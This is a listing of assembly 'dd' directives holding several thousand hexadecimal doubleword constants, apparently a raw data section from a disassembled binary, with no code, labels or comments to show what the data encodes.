		dd 480FC826h, 0C1A89818h, 4BEA33h, 3B4D60DFh, 0CE8322A4h
		dd 6E9E8501h, 34AAB1ACh, 0CD2FC081h, 0ECC12849h, 0CF18E39Dh
		dd 0E1C85D77h, 740150C6h, 3A4F49Ah, 486D9718h, 18003144h
		dd 0C539EFC1h, 1CE0B541h, 0C03B3E4Eh, 0F0E5445Dh, 0AF008062h
		dd 645B67CCh, 4CD31F11h, 4100F3C7h, 0A66140D6h,	0A003870Dh
		dd 0DFD72024h, 0CD599011h, 0DB9A030Ch, 89C99E77h, 0B9498F98h
		dd 0F4F74A00h, 5D41CCFAh, 3E3DE8CEh, 0E90251DEh, 0E88047Ch
		dd 6CAED760h, 43044977h, 322CF20Fh, 3530F087h, 159D39Bh
		dd 65E6830h, 0FC4D9DA5h, 6A58CDE1h, 0E9810046h,	0F35D5778h
		dd 0F475008Bh, 8E3C990Ch, 0D90F079Eh, 3C4C174Fh, 81D3803Dh
		dd 7F5B2065h, 83EAC8h, 60267A50h, 0ADD4483Ah, 5DF29900h
		dd 0FE633B43h, 0BAA4A0CDh, 86FC0077h, 9E5A91EEh, 0D70CE40Ah
		dd 74F8AAA7h, 3A9A7BABh, 0B0EACA8h, 0FC1E5680h,	8F76BF1Fh
		dd 3AAFB75Dh, 0F3D9E603h, 6ED0A2B3h, 0C8A132EFh, 11CC542Bh
		dd 0B0BA04ECh, 46C28FB4h, 0E30CAAC8h, 710D978h,	2E699500h
		dd 9A10CD85h, 0FDDF010Ah, 6226293Fh, 49C870E1h,	19D86B0Ch
		dd 44E4296Ah, 1644D699h, 27F34457h, 131812E7h, 228F9D9h
		dd 7E5C108Bh, 0FF08EC89h, 50270B20h, 442B3C9Fh,	50A0A082h
		dd 51CA25C8h, 22381433h, 28F4507Dh, 0C7428479h,	28830111h
		dd 9D2214A8h, 50BB50BDh, 7C9544B7h, 464E79C0h, 7E815D59h
		dd 3D380015h, 16704865h, 0C07DEF5Fh, 0AEFE732Eh, 67BEAC00h
		dd 8D6818h, 86BF401Dh, 7B215FC6h, 0F2007175h, 26F5FCE5h
		dd 0EE556924h, 2A370082h, 62717CD7h, 0AE00E62Ch, 311F071Dh
		dd 3DA07278h, 36804551h, 632744ACh, 1D0057DBh, 6A9F7FDEh
		dd 3E07FC39h, 0A6803CDFh, 0CC72F77Bh, 2C76CEC8h, 4AF8C300h
		dd 379B6097h, 664D00FAh, 1F02758Ah, 0AE00554Eh,	50F9579Eh
		dd 2E105B91h, 37F88A5h,	132B98D8h, 0C4601007h, 37E056D4h
		dd 2462E644h, 28A9A0h, 0AE65A783h, 391EEA58h, 7A945Dh
		dd 52EDB060h, 98631Ch, 0E0AEE587h, 0EC9B7C47h, 0E614340Ch
		dd 0B510E7h, 0C057B7CAh, 0E2AF157Eh, 2ABB4200h,	7CE7D271h
		dd 6756000Eh, 11C71372h, 5C2487ADh, 0B10E6480h,	3E0D00EEh
		dd 93E7F1h, 0ECB95026h,	4EABA7F3h, 0A6793100h, 0D1FA9F4Fh
		dd 0C7447B81h, 5067F918h, 7B7E47E6h, 0E24B7A01h, 0F3DA7801h
		dd 3E40DD8h, 79E3882Eh,	3290DFFAh, 1F004C7Eh, 0B9D2AD4Ah
		dd 0C0EE0DAFh, 0B1DC2820h, 87005ADEh, 415980A6h, 771E36F9h
		dd 0DC9CA01Ch, 0FFECABh, 0AFF29605h, 0E053D9CDh, 0D0DA091Fh
		dd 442AE640h, 90710A13h, 0B8A80FA3h, 0A0838F56h, 14B07970h
		dd 0ABEAF6AFh, 7592E301h, 4711BBADh, 545F6040h,	4ACE00FFh
		dd 6ED29A69h, 0A61411E2h, 0D0B9ABh, 0C9E0212Dh,	0D17CF0h
		dd 49413C16h, 2C04114Ch, 0F906A81Dh, 78957580h,	0F382A7h
		dd 0B958D494h, 0D162E2CBh, 0CD81F00h, 0E8818344h, 877A00B6h
		dd 25F95568h, 5E003E2Ch, 0EAA5C65Ah, 6EDE33h, 6944B89h
		dd 853B3540h, 8C1BF00Fh, 0F51040ACh, 2822E231h,	901977h
		dd 475A83B9h, 84B20F97h, 0D1C2C05h, 940F9446h, 0CAA12085h
		dd 93BD3F4h, 0C5A3ABBBh, 3DF16482h, 61059844h, 64A4B0D4h
		dd 31D9FC43h, 32F1B08Dh, 9DDF008Bh, 79E4719Ah, 681ED111h
		dd 80BFD7CDh, 6690BB7Ch, 729832h, 96C903C2h, 7DE4EC07h
		dd 0D625B400h, 43EBD779h, 0C8170048h, 0F6447E10h, 7C00D926h
		dd 8228078Bh, 0AF68D7h,	69EA218h, 838936E2h, 330F501h
		dd 69D7C557h, 1D5A5820h, 0C0FFCF24h, 1DFEB2C9h,	2B025DD9h
		dd 664295D6h, 0F43B606Ch, 550600C4h, 0A8B6C5CFh, 0D1003BE5h
		dd 8051F64Bh, 24E3B421h, 30F44A9h, 47EBCBE1h, 243811A1h
		dd 633EB1E4h, 517E12C7h, 44D27840h, 12DE48h, 3963AA9h
		dd 0A2DA1387h, 80E3653Ch, 69ABFFEDh, 4576AF3h, 369D50D6h
		dd 52438015h, 120055DBh, 0E20F452Eh, 0AA5317h, 0E0AFDE80h
		dd 466C09E7h, 0A0D7731Eh, 1E7DE340h, 667D0h, 943E599Bh
		dd 866ECE4Ch, 0C6A0CF09h, 0B03F80FDh, 12E0D5Bh,	0C1432541h
		dd 0DC85605Dh, 3100ECA9h, 4EDD2620h, 808945h, 5E1A02FAh
		dd 3216670Ch, 46194300h, 53A18E47h, 0A6B10004h,	6D5123A0h
		dd 5B00B25Dh, 72A89873h, 24499A8Ch, 84843Fh, 3C64A0B1h
		dd 7001F0E1h, 0A8C59D99h, 4FD4F5D1h, 5DBD021Bh,	0CCFBF65Eh
		dd 0ED08E4A3h, 665F20D8h, 0C3ACE900h, 12A592DBh, 367094Eh
		dd 8401B1C0h, 3056A245h, 3604DEE0h, 0ED1AA6AAh,	4B9110C0h
		dd 5BD93A17h, 82DD4A00h, 0F4540B34h, 0D6880400h, 6A6F32F0h
		dd 0AB97011Bh, 0E9949B1Dh, 0EC402128h, 0FA00CCF4h, 0C7A75ED3h
		dd 0A93799h, 0AEC449D0h, 1378ECE4h, 0CF9D700h, 0DB31838Dh
		dd 381238B8h, 232A3B04h, 68698076h, 0B07377F3h,	727BA300h
		dd 6C8404DCh, 692B005Bh, 0E5FBA907h, 8C3E06F7h,	0A87980C4h
		dd 786528D7h, 0C0DE00B4h, 4E2FEE52h, 0C707E78Eh, 95C90C0Eh
		dd 0AF51DC60h, 0EAB100D9h, 7967496Bh, 5D0F5817h, 0C0BA7A13h
		dd 0B55E4D8Eh, 0EBA200B7h, 493BE491h, 380779EDh, 0C97843D1h
		dd 2A8440CFh, 0E5B3F95Fh, 6C730C0h, 0D32C5BFDh,	1F0392E1h
		dd 49BAF5C3h, 0E42DF90Ch, 67529CCh, 0D8694401h,	0AE0059B9h
		dd 0DCF9199Ah, 0F2A4833Fh, 0AF79CEh, 689F2075h,	0F5EC9246h
		dd 80D53B2Eh, 9AACE801h, 0A8301A1Dh, 182D00C9h,	0BEAE71E1h
		dd 3900591Eh, 0EEA8DE4h, 4FFD307h, 2D37773Bh, 63C0FBADh
		dd 622FC2Fh, 1D593532h,	83265499h, 9100968Fh, 1217CB13h
		dd 3D8C007Dh, 6478F80Dh, 0E2021B25h, 0C3A86BFFh, 8CF4C84Ch
		dd 0CAAD009Bh, 47338E3Fh, 0F5047917h, 0A950E7BDh, 39F0AC80h
		dd 230600D2h, 0CEC61F9Fh, 0E1001ADEh, 6807A305h, 1CF661h
		dd 264841CBh, 598A32C0h, 0A3508E00h, 92A79157h,	46AD0028h
		dd 0BCFE3F2Ah, 880043FFh, 0C8A33EEDh, 55D2741h,	33CEB7Eh
		dd 0DB138078h, 450092C2h, 4A64F95h, 177748Bh, 7089F74Bh
		dd 0D85F5259h, 0B902E497h, 1BA2C66Fh, 239C40AFh, 9F37C94h
		dd 49340F01h, 2126D800h, 0A300F995h, 615372F4h,	7C1652C9h
		dd 0C0B3079Eh, 107E1976h, 3C49A5B0h, 0D009E600h, 1BDC5A84h
		dd 0D489002Bh, 7A2324ACh, 0C8F6F1E4h, 0E6C9B900h, 8168FEC1h
		dd 9EDD0283h, 61673A33h, 0D7D09240h, 3C5A9B00h,	8B62B1BDh
		dd 52341D11h, 2D402DCEh, 0A00C5081h, 183BE860h,	0E3B5060Fh
		dd 10049629h, 33236C1Eh, 1424AE43h, 6E88045Ch, 0A079B840h
		dd 90001008h, 0AA26DAEBh, 0FE6750h, 0BABD2054h,	9BF7523h
		dd 0EC839900h, 0FDF7C6A9h, 0FA5B007Ah, 0E037CA28h, 0E300E7F8h
		dd 5577911Ch, 3D8CBACEh, 0A0E2FEECh, 0E8E8AA67h, 0B40F7FB9h
		dd 80589220h, 1397C975h, 3F1700C4h, 0D61DBCB8h,	5B00F7B4h
		dd 0BAADF3Ah, 70FC2305h, 0EA1F00B0h, 6C15F34Bh,	38580D37h
		dd 0F71B0F47h, 2FB4C2DEh, 0D3005DC1h, 45D55F43h, 11096900h
		dd 8FD935F1h, 75BF837h,	0DEEC0FD7h, 69680076h, 4A01AE8Eh
		dd 9BB36401h, 637008EDh, 75A80042h, 0EFB5683Fh,	5D007F14h
		dd 9856C27h, 0EEB0B1BBh, 0C4E00242h, 7B2ED3A5h,	21AF81E1h
		dd 465FC09Eh, 0EFA9A612h, 39BFC445h, 7BE62FC0h,	8EDC26C1h
		dd 0F5F305C0h, 0AF8000EBh
		dd 72EE5F1h, 0FA32B300h, 5629CF53h, 82F5048Eh, 807DF7C0h
		dd 0BE99BC8h, 0DB7A58h,	758A47B0h, 0D4921A4Ch, 230FDEACh
		dd 0D62073D9h, 0AD2C5D04h, 80619D38h, 86E9BF31h, 0F87B52AAh
		dd 8BA700D8h, 672743Dh,	8F3D6A22h, 8000F0A8h, 0B8ABDAECh
		dd 0E8AE41E5h, 0D8A760A6h, 5744788Fh, 0A8ABF12h, 0C4DF800h
		dd 7D5493ADh, 0B1153EFCh, 2ACA9Eh, 0E98B8831h, 5BEAE21Ch
		dd 8720212Fh, 1320A5DDh, 78E29h, 980CF093h, 7484245Ch
		dd 5264417Fh, 0E3202660h, 0A12CF1ECh, 0B012868h, 85E19D1h
		dd 21949841h, 2616C070h, 13B020h, 99AF53BDh, 2A02BFF0h
		dd 76D2EE43h, 0CDC4E088h, 3634005Ah, 0A54790AFh, 41C0CFACh
		dd 2677792Dh, 6E020033h, 32055771h, 5400D0B3h, 8ED3675Bh
		dd 4E93E67Bh, 794000F3h, 4368A333h, 9FB23900h, 0CA7299B8h
		dd 157D006Bh, 0C6AF5091h, 9C00CFEDh, 1F38B5E6h,	8BDF41h
		dd 0DCA65BEAh, 6335AB53h, 213E6D03h, 0FC0DBBB8h, 1C640CA0h
		dd 0F30C7E40h, 0D4984C28h, 1496CB5Ch, 3059AA00h, 2D6BC85h
		dd 0D82210E2h, 0D0644C5Dh, 26051600h, 21F2FC25h, 3A350036h
		dd 0C51978DCh, 862CBA2Eh, 0FD00ECEBh, 11F484CEh, 0BE9405D8h
		dd 7DD8F96h, 40630888h,	4033A3F1h, 6865B900h, 364F2C7h
		dd 0D6CE00A2h, 7799727Ah, 0AC00AE7Eh, 8E9E1E6Dh, 53C27Ch
		dd 865CDA71h, 6F58F8EDh, 8AEFC40Ah, 911D9C80h, 431C440Fh
		dd 0D8F95550h, 0EC3108A5h, 7BAF0098h, 0D6B5BE8Bh, 0DB59EC9Bh
		dd 5DCD13E2h, 9C33803h,	0B1BCE01Fh, 0A5B70288h,	1E52247h
		dd 192560E0h, 0DE3DF600h, 130279D5h, 23180148h,	0F382849Dh
		dd 1EB42CCDh, 0DF44401Ch, 94C22F5Ah, 0BBA0404Eh, 0B128075Eh
		dd 60421CEDh, 0D070A4F7h, 0FA24D802h, 40E3ACA3h, 3D8EAD40h
		dd 24F0194Bh, 12CCE7Ah,	0EBB3206h, 74120BDh, 2737D400h
		dd 0B7771703h, 0E15F58B4h, 5EF66805h, 0C2AD8010h, 9E02ADCBh
		dd 53B21357h, 90C880EAh, 58621BCEh, 0DF0072A0h,	70766588h
		dd 1800225Eh, 10E09DBBh, 34F82Bh, 0F0EEE850h, 85DE369Eh
		dd 746BC409h, 0C8D4C0B8h, 47EB1CC5h, 0C017DC67h, 94A49B18h
		dd 0FC0098E6h, 56C8C283h, 71362D15h, 0FAFE00E5h, 0B86A70D9h
		dd 8E0141F2h, 0E2F3AA92h, 9ECCA0C0h, 1261009Bh,	5830A4EFh
		dd 4C71F5D6h, 9D4E7C03h, 0DDEC9170h, 12763F86h,	8C0C2E25h
		dd 21CA8E4h, 5240033Ah,	9FD1F2B7h, 809650CAh, 0EC70160Eh
		dd 0AA2A03D9h, 5CB84C1Dh, 0EA026735h, 65A19273h, 0B04063C5h
		dd 3A5E382h, 9F4E30CAh,	3291580Ah, 55D6F411h, 0A8C18502h
		dd 809368F9h, 415245A8h, 0E0F30070h, 0B6C94E06h, 220349B0h
		dd 7828D1C5h, 0FB42D8ACh, 6098006Ch, 415936Eh, 150630Dh
		dd 7C1655C0h, 3E1ED7B4h, 0B2ED6B81h, 40709F57h,	0FFE512DAh
		dd 40B700DEh, 9130993Ch, 97CDBFA0h, 0C9B56107h,	1CA0627Dh
		dd 25ED3FDh, 0BC4F1AA6h, 7FE0426Ah, 8E78B623h, 3ECA0500h
		dd 0C7E1D2ECh, 7CC1007Fh, 0A02942F7h, 0F248A418h, 0E7171473h
		dd 0B91A07DCh, 89102A0Eh, 0DE3EF5h, 966B9DC4h, 23A68355h
		dd 47D47700h, 0BA15C339h, 69F33E06h, 0D117B05h,	124BC19h
		dd 84D42C71h, 0EAD5B930h, 50A1DC40h, 21AD0175h,	7D231A57h
		dd 0AEEC74ABh, 0F32CDAF8h, 0A680E46Ah, 74826594h, 0D56100AFh
		dd 0F85133AEh, 92094820h, 208BD7F2h, 9F4CC8F8h,	0A24E505Ch
		dd 520E0084h, 0BEB2E0F4h, 0A009771h, 0DEB75383h, 1208275Eh
		dd 0C076D709h, 19690F3Ch, 0B8BBF009h, 774C8323h, 83D0F8F7h
		dd 110DF1Dh, 0CC1ED186h, 0AD030A7h, 5AB0320h, 0B8ECC56Ch
		dd 0E01C013Bh, 207A905Eh, 6D27D430h, 172C0379h,	6044C0A4h
		dd 5E950022h, 460E721Bh, 392CE791h, 41070836h, 2E415558h
		dd 0F9F4DBACh, 0C07900DEh, 0B2760904h, 7D0E250Fh, 208213C3h
		dd 56BEDB85h, 96AF0C1Fh, 8B31BBDAh, 83635707h, 7A905E97h
		dd 0DB2221h, 0A85CE3F1h, 39CBC11h, 4F2D1974h, 0B64C0264h
		dd 10C880A3h, 0E0AE4569h, 5AE6DEh, 0EAD226A5h, 7F3515C5h
		dd 0E1F241Eh, 0F91A5B40h, 1EC790B8h, 169F16B5h,	0B34800C3h
		dd 2875D887h, 92948902h, 0C06ED63Eh, 8DF030h, 5DFF20A7h
		dd 2414C76Bh, 3005B7Fh,	0EE1CE12h, 4C59C6h, 8D2D1709h
		dd 0BF2CB4EDh, 5D71DCE8h, 10BB6330h, 9A92F3h, 0CEFB3627h
		dd 5877F1C7h, 0D00D48C0h, 50723Bh, 0C8CA3718h, 1047AF93h
		dd 0D7AEB107h, 8F308C2Bh, 39968303h, 7F802CC0h,	3EDA0E35h
		dd 2700BEB1h, 0FEA27007h, 38D5F513h, 0C30F7523h, 5D412B18h
		dd 0F8FBB039h, 8700D774h, 575C7337h, 0FA1E5F8Dh, 91C00C1h
		dd 3EA8F14Ah, 80B83412h, 92DD4300h, 22CBB8D2h, 460F04Fh
		dd 41E8DABCh, 61580B2h,	0B6F23C31h, 0E9581F00h,	0E191B7A6h
		dd 7497184h, 9BA33E60h,	7D192016h, 0F03465Bh, 6E14EE2Fh
		dd 2D8800FBh, 53E9D140h, 160B3409h, 7AC5F75h, 57F0260Dh
		dd 0C531DCh, 1F7A2161h,	0D5D19DC8h, 7972E91Fh, 7C71803Dh
		dd 0D2E5ACF3h, 3E5E00FBh, 0E28F62B0h, 0F103399Bh, 53A04722h
		dd 806DF081h, 7F60046h,	31B086F0h, 0F76013F3h, 0E384C10h
		dd 0AB17004Bh, 0E8663A7Bh, 92FCE2D3h, 0F0AC3030h, 5C8E5C16h
		dd 4D0A4F22h, 0B00BB7h,	246D29CEh, 0F31D55E0h, 0A6001383h
		dd 75ADA8B0h, 99D0622h,	0A862591Dh, 79380B00h, 0ED281E60h
		dd 0D9D80205h, 5ECFCD65h, 1847E40h, 55A84D00h, 91177735h
		dd 222EE8Eh, 0B5FF3FD7h, 0DCA05239h, 1C375D07h,	5003877h
		dd 899791Fh, 1AC102Eh, 0DE0CFFA6h, 0C08B010Fh, 0A1DA29Fh
		dd 9C14CB86h, 762018Ch,	0F9417EA3h, 4B76489Dh, 0B008832h
		dd 0DB1CEEF6h, 0A7CD8300h, 7B4C2558h, 98C90084h, 0B49F14FAh
		dd 0E3E06366h, 11263F00h, 2AAF044Dh, 70C900E5h,	0D2D74658h
		dd 2F00296Eh, 185259A2h, 0B161Bh, 571F9A47h, 3061EB7Fh
		dd 443CFB05h, 25C05D9Dh, 1E5117F1h, 1E3B8DAh, 1F864D6Ch
		dd 400BD7D9h, 6343E2h, 0C1131E0Dh, 0AC749Ch, 0A5A232CEh
		dd 0A779C82Fh, 68719E1Fh, 0DC48EF8Ah, 0B8213400h, 1D1E4DCh
		dd 84983511h, 6041BD28h, 800F808h, 0E559B093h, 9C7097h
		dd 0A71D67D1h, 0BBBCE913h, 178DC3Fh, 82C10AD3h,	8AEC52E2h
		dd 792707F5h, 2ADA94h, 0E4DEC37Ch, 1385CA00h, 0B998BC73h
		dd 1A360050h, 6F75DBF5h, 20B4C5Dh, 0DF6586h, 0E50D4813h
		dd 0AB723A3Ah, 0BC0BD983h, 40A5D262h, 92A7CEC0h, 1B388351h
		dd 0F57900C6h, 0D2366E90h, 5AC93AEFh, 0AFBFC501h, 200AB0FFh
		dd 3267884h, 1300EA9Eh,	20818432h, 1A0F037Bh, 7434BADBh
		dd 0CD95E100h, 0E1AA0813h, 4D600D2h, 30F1EB7Bh,	85004CD9h
		dd 92A1B0CBh, 3DDD2089h, 0DC89FE0Eh, 0C01BC7E2h, 0CA4F51C8h
		dd 92A3E703h, 0C04102D3h, 0EE6461Bh, 60E29F5Fh,	25D94CA0h
		dd 9000FD2Bh, 0A8B34772h, 15EFAD7h, 8AD478B6h, 0F86B152Dh
		dd 910E5766h, 0A03D1906h, 613C32EDh, 0B11E05BBh, 819D9C77h
		dd 6014373Bh, 0B328D411h, 8800F0F0h, 5108FF9Eh,	45D95B5h
		dd 273C1184h, 0E7D48020h, 0C30560F7h, 73BD6E5Eh, 0B8120A83h
		dd 0EA758DFh, 0E0D04955h, 0A0881A20h, 651FB2D5h, 174097BFh
		dd 6D40086Ah, 3F1734Fh,	0A48A9584h, 57EF7165h, 2B680055h
		dd 0F3E88D49h, 0BF9D2906h, 129907D8h, 6E5209h, 53EAB084h
		dd 99074ABh, 9FCF8D00h,	0D6A3B322h, 0BA6E2CAFh,	3B4D001Dh
		dd 0F887C3A2h, 6D1BFFFCh
		dd 0C078C66Fh, 5C74D597h, 2B1F0B27h, 7AADC94Ah,	80A02884h
		dd 0DFC0BA40h, 0DCF68400h, 1ADD9D12h, 57A90695h, 1099453Fh
		dd 8FD41700h, 0D9E0BC3Ah, 2EC87B19h, 65ECB96h, 50F01858h
		dd 5C49B22Ah, 7BFCCF00h, 0EE57626Bh, 40F80048h,	88D187BBh
		dd 2209AB30h, 80B8AF8Fh, 4ED1184h, 0BCD351F9h, 16B020h
		dd 0F65194BDh, 0D12D8D35h, 2FFB0D00h, 0D48F2A9Ah, 40AD0083h
		dd 9E62F889h, 2B25E6ABh, 0D3FCC4h, 0B3E08690h, 0CA00674Bh
		dd 83121F7Bh, 8EDDB7h, 94A7A689h, 49621587h, 9AF4C90Ch
		dd 7622AC75h, 0D19218AEh, 0F013D063h, 0E31AA400h, 3FDDF5FEh
		dd 86701C91h, 0BB0B4157h, 0C03A199Fh, 1A70BA8Dh, 0D36E403h
		dd 9267C24Ah, 7FCF809Dh, 0ECA734h, 0BE580F0Ah, 211F0B9Ah
		dd 8030C63Eh, 0EBF55D90h, 397FBBD3h, 0F4876020h, 1081DAFCh
		dd 0E76A675Bh, 8C21B828h, 19C2441Ch, 91831B80h,	3DDA17h
		dd 9DFD0FADh, 4984247h,	99850B16h, 0A0F35500h, 0B0A89766h
		dd 34270E40h, 1C403B2Dh, 0E6AFF568h, 8718F700h,	788637E1h
		dd 0E7D600B8h, 9B93F13Eh, 7700BE57h, 0B0D1F449h, 4C0C3F0h
		dd 3FADE2E5h, 1BE4C1EBh, 0DFD2F024h, 1176FFB8h,	0F22A7707h
		dd 26E01E08h, 9C7FAAFh,	7B0F89CDh, 0A0531020h, 0C41F3B79h
		dd 8800138Eh, 0F146D1F8h, 0C2A62885h, 288700E8h, 31768652h
		dd 0A50EECEAh, 0A0A194BAh, 0F00AC5DAh, 271B0039h, 9F0B74C8h
		dd 0EE037305h, 0E4C748AEh, 3A361FCFh, 5C298153h, 20AFE3F4h
		dd 0C2003078h, 3FFBC04Dh, 0E09533h, 0C7F92947h,	48F217EDh
		dd 0D583900h, 54DF1A3Bh, 4A3F038Eh, 8B36F988h, 0D085A3D1h
		dd 0FF00385Ah, 53D81446h, 499A4A24h, 2B20A844h,	0FC914D09h
		dd 0E26C0008h, 2689FDBBh, 80F01151h, 0BD73787Ah, 0F90087FAh
		dd 0E98DB62Bh, 0B4664Dh, 774E09E4h, 2CD66A20h, 85CA592Eh
		dd 719D6C03h, 0B66BE02Ah, 0F3E8A0B8h, 4D25026Ah, 0AB75A4FEh
		dd 28E18C8h, 3D700478h,	0DCB95Ch, 2A4C33D1h, 0BA2BE2h
		dd 6B6A12A6h, 0F0511893h, 2C219700h, 84BF3BBCh,	5EAA0019h
		dd 0F92741C0h, 67549CDAh, 2313DCDCh, 0D8006E72h, 7A5278CAh
		dd 10BC148Eh, 6B80E89Dh, 0E9F88F35h, 0FC05AE79h, 8401FB7h
		dd 0FE248980h, 0B61A18B4h, 87277611h, 9098FC1Fh, 0AE402CDFh
		dd 78C092E9h, 595B0385h, 734736FDh, 0C7A955F9h,	8DF22DA0h
		dd 0EAFFE400h, 5D3BC4A7h, 4FB5045Ch, 0C03DCB5Ah, 12C20317h
		dd 81069FA0h, 0CCAA9C00h, 0A1991668h, 0D3CA3052h, 7441251Eh
		dd 0E983D00h, 7A75E4F5h, 0FBD63D5Ch, 380021EEh,	4431D422h
		dd 0F905E00h, 26130376h, 0B0740306h, 9BFF6552h,	86B6B7E0h
		dd 0E1A57200h, 0C2B203B5h, 7A2A77A4h, 7DC4006Dh, 2FA2FDD6h
		dd 6E01BE3Ch, 5BBFA14Fh, 0E8EC9B1Fh, 78210051h,	9FDB8674h
		dd 9F22C07h, 8AD03400h,	643514DAh, 6A6D0053h, 0C689286Fh
		dd 3F00D671h, 2357A14Ch, 371FA4h, 1B2BF3BDh, 0E8F9FE8Ch
		dd 0D1885E1Ch, 0B2C2C10Ch, 0E6BB75CBh, 0E1120031h, 0A284A7D6h
		dd 1C0A50FFh, 0ECC7C001h, 0EB00DB2Ch, 5428F31h,	0C19103E6h
		dd 52ADABE3h, 88828BF8h, 6C20F224h, 3A33BE04h, 3B68B4C0h
		dd 31600074h, 10F8E877h, 0A90308CEh, 6E993495h,	8068E0E2h
		dd 66AC0091h, 0D00B0A8Ah, 6A01436Fh, 0A273F941h, 60F41E27h
		dd 522D0038h, 0B82E8939h, 303F9B32h, 0AEFE14D6h, 8D8700CCh
		dd 0FDCD5622h, 782C006Eh, 0A7AD776Bh, 57072162h, 0A6C8E14Dh
		dd 0DCA1870Fh, 168E42E0h, 1BE7E8Ah, 63E39A73h, 8069AEBBh
		dd 42978720h, 0C027793h, 82C755Ch, 24E26518h, 8E8F2112h
		dd 0BD00F816h, 435BFB4Ah, 0BC90001Ah, 9DC68039h, 26008F1Eh
		dd 71416B6Dh, 78BAE497h, 4756002Ah, 853E9881h, 0FA072F2Dh
		dd 14A7BBFCh, 0D3E3A3C0h, 3D260083h, 40670421h,	100FA99h
		dd 8BF8C5C9h, 1244CD87h, 7D544Bh, 0E9A473C0h, 0E424E7B7h
		dd 81BF74A3h, 464DDFD9h, 582CEC86h, 8C002D48h, 261A4A87h
		dd 43392EC7h, 8D66819Fh, 90AB0BFEh, 161434h, 3D93E82Fh
		dd 3E196852h, 0A21F1C94h, 98CCAB44h, 64B5FC92h,	12C3E4D8h
		dd 1730D5h, 7057700h, 0A5489ED9h, 0F2A409E4h, 4B7080C6h
		dd 78A720B0h, 0C4A10182h, 0B6A8FA19h, 0FD6A3033h, 5ADE4500h
		dd 1BCE555h, 860A00F6h,	4C468B37h, 81006515h, 0C66A7B2Fh
		dd 114C712h, 44E8FC33h,	0E822D92Ah, 130055A3h, 0F0F9CFF5h
		dd 7C705E35h, 0CC9F0B2Dh, 848AC34Bh, 4611008Ch,	32629727h
		dd 5D6F5Ch, 0CA796E1Fh,	5CB971F0h, 58506CA3h, 34F70026h
		dd 796C4DEBh, 0FE00AC69h, 94F14C2Ah, 246E14Ah, 0BFA06837h
		dd 8CA21DD4h, 8E229D3Dh, 0B55CC8F7h, 1E0C0C6Dh,	0F510252Ch
		dd 5D0164B0h, 4A2A6561h, 0E85164A1h, 0E06281E2h, 9F4F1A01h
		dd 0D801339Dh, 1F02CAA1h, 0BBFA672Bh, 6378C012h, 1E2D0088h
		dd 6733DD8h, 6401220Eh,	8D4968DCh, 9B30F301h, 18C20081h
		dd 22193C44h, 0B8609795h, 0B93B5A38h, 296D00D6h, 8C1C2196h
		dd 0C1B41C1h, 0AFA84930h, 3509C090h, 54AC000Bh,	569C96Ah
		dd 0A007639Ch, 0D42E2A8Eh, 0E6F3E790h, 19AF0011h, 148B9F2Dh
		dd 4F490603h, 4B1A0B71h, 0BF5C8066h, 26BBEA18h,	0E8F8EEh
		dd 558FFA3h, 5D1FEC53h,	0BB1E69h, 0E0100A6Ch, 2CC2A1CEh
		dd 806CF346h, 9F48EC3Ch, 8C00EF6Ah, 36FF95EBh, 917EED0h
		dd 0DD88D869h, 6F6653C0h, 0FAFDEF00h, 3798151Eh, 71050EC7h
		dd 2020F990h, 5BB67F1Ch, 0E148700h, 9989E0FEh, 0A31D3EE3h
		dd 269BEE74h, 8080313Fh, 0A9FA9532h, 5C07F7EAh,	0F84C1B5Ah
		dd 0B488DA84h, 0C2B48BBh, 46C3FB1Ch, 102C8B5Bh,	19B09DF8h
		dd 146BA724h, 0F0CF6D04h, 88484A09h, 1B000EA9h,	420F5755h
		dd 26DCC0EFh, 338A307h,	0B4932A05h, 0CB3758Bh, 8FC49FB8h
		dd 99599200h, 88EA2979h, 866214ECh, 9300F466h, 50742761h
		dd 7E009BF6h, 1EDC41A6h, 0DD98B8h, 92DB15DFh, 0AB119330h
		dd 134E6F00h, 4FF0DC35h, 13D7EEFBh, 807DE873h, 0D202AEB8h
		dd 48091602h, 407CC7F4h, 0D56D0Ch, 0F5A6C33Fh, 83E92C42h
		dd 57A91305h, 0F30D9CD3h, 5ED82872h, 0F9E268h, 5706EA85h
		dd 71624BC6h, 18D19900h, 0F5239A9Dh, 0BC41009Ch, 9BCEF14Fh
		dd 0A8B81E67h, 6C4C8400h, 0ADF0A038h, 1B0F0039h, 0EE1A3D8h
		dd 14B40ADBh, 359F0380h, 0EAD8298h, 626B2F5Eh, 73C16D4Fh
		dd 3C3C3061h, 8F602CB4h, 5A49F800h, 0F0224DBh, 0B57C735Fh
		dd 14957540h, 44009FD2h, 7FB098Ah, 20B9A4Fh, 0CD57823Bh
		dd 0C0809B27h, 0FCC8AECh, 7055470h, 0E3AC5E13h,	2CF27EC4h
		dd 15F12FA3h, 0DA27D8F2h, 90C1A627h, 84D2D8h, 2F49E1F6h
		dd 0AC2D8D12h, 1CD95A26h, 0E4A19C00h, 0C4CA276h, 0ABCD5F33h
		dd 10000310h, 0BDC3B473h, 1AA2CC35h, 0E426C05h,	3B8282C0h
		dd 918A060Eh, 93A10018h, 9F1F46h, 38503512h, 0D78D416Ch
		dd 7E993201h, 0CAB76134h, 0CDB0F0h, 0FE7CADFAh,	2B5F03C8h
		dd 93ED5400h, 7512D7Ah,	0D34748Eh, 1257FA59h, 23EDD080h
		dd 0F95D7315h, 17F30FB8h, 7452000Fh, 0F0AD5E5h,	27F49ECh
		dd 59482140h, 2505F219h, 0C6AF99Ah, 5E81441h, 76C8C662h
		dd 28C8005Dh, 29782B3Dh, 0B49A60C3h, 45CCE30Eh,	86778F97h
		dd 181961D4h, 81A78FFBh, 1185327h, 6B08C21Fh, 18456109h
		dd 0E01EB3C1h, 11CE5DCAh, 953C0003h, 0F03008h, 2A696E29h
		dd 61FB46C5h, 3719E70Fh
		dd 5AC68026h, 0AFF254h,	0CE2A0131h, 0CE911F0h, 6C8FE500h
		dd 0C154C68Bh, 701E06ABh, 997EAEA5h, 9D6E950Bh,	456F010Bh
		dd 4A61BD7Fh, 0C184888Fh, 0A511FAC3h, 0CE2BB900h, 0AE5D7261h
		dd 0E9B7F296h, 0E59970h, 6C93C50Bh, 4D633B13h, 852CFE3Eh
		dd 1B9DF9AAh, 0ED006A87h, 138C1ABh, 68A89A90h, 0E0FCDEB1h
		dd 8105C7CDh, 0CA065E1h, 1DC70B0h, 5C9A0557h, 0D031EEFBh
		dd 0A93D7163h, 7E400C6h, 6E7C2FD1h, 17FD0C16h, 29A0E728h
		dd 0CB231D00h, 45F8A926h, 0EBB8C6B1h, 91A0C19Ch, 7400F2CDh
		dd 64C6C4B8h, 3DF1FBEh,	999EAAF6h, 810001A2h, 51B607BAh
